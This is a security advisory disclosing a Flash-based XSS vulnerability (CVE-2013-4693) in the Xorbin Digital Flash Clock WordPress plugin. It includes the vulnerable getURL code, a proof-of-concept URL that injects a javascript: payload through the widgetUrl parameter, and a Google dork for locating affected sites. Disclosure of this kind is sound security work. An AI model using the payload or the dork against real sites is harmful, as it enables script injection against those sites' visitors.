==================================================================== Xorbin Digital Flash Clock 1.0 Plugin for Wordpress Flash-based XSS ==================================================================== Description: This plugin displays digital flash clock on your website. It's easy to use and it's highly customizable. You can add digital flash clock to your website as a widget and use as many clocks as you like on one page. Published: 30-06-2013 Version : 1.0 Severity : Low to Moderate CVSS Score: 5 CVE: 2013-4693 Authors : Prakhar Prasad http://www.prakharprasad.com Rafay Baloch http://www.rafayhackingarticles.net Download : http://wordpress.org/plugins/xorbin-digital-flash-clock/ Vendor : XORBin http://www.xorbin.com/ Google Dork: inurl:xorbin-digital-flash-clock Details: The vulnerability exists in "xorDigitalClock.swf" file of this plugin, "widgetUrl" parameter is taken from external input and is passed into getURL function. getURL(_root.widgetUrl, "") Proof-of-Concept: http://domain.tld/wordpress/wp-content/plugins/xorbin-digital-flash-clock/media/xorDigitalClock.swf#?widgetUrl=javascript:alert(1); Clicking on the clock will execute Javascript payload. Solution: https://code.google.com/p/doctype-mirror/wiki/ArticleFlashSecurityGetURL